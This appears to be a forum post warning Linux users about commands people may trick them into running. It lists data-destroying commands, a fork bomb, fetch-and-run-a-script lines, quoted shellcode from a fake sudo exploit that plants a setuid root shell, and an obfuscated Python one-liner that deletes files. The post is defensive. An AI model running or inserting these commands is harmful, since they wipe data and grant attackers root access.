Again, DANGEROUS COMMANDS -- look but DO NOT RUN.
Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".
Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.
Code:
rm -rf /
rm -rf .
rm -rf *
Code:
mkfs
mkfs.ext3
mkfs.anything
Code:
any_command > /dev/sda
dd if=something of=/dev/sda
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)
Code:
:(){:|:&};:
Code:
fork while fork
Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source
Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust
Code:
wget http://some_place/some_file
sh ./some_file
Code:
wget http://some_place/some_file -O- | sh
A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:
Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!
For example, 30 seconds in Python yields something like this:
Code:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
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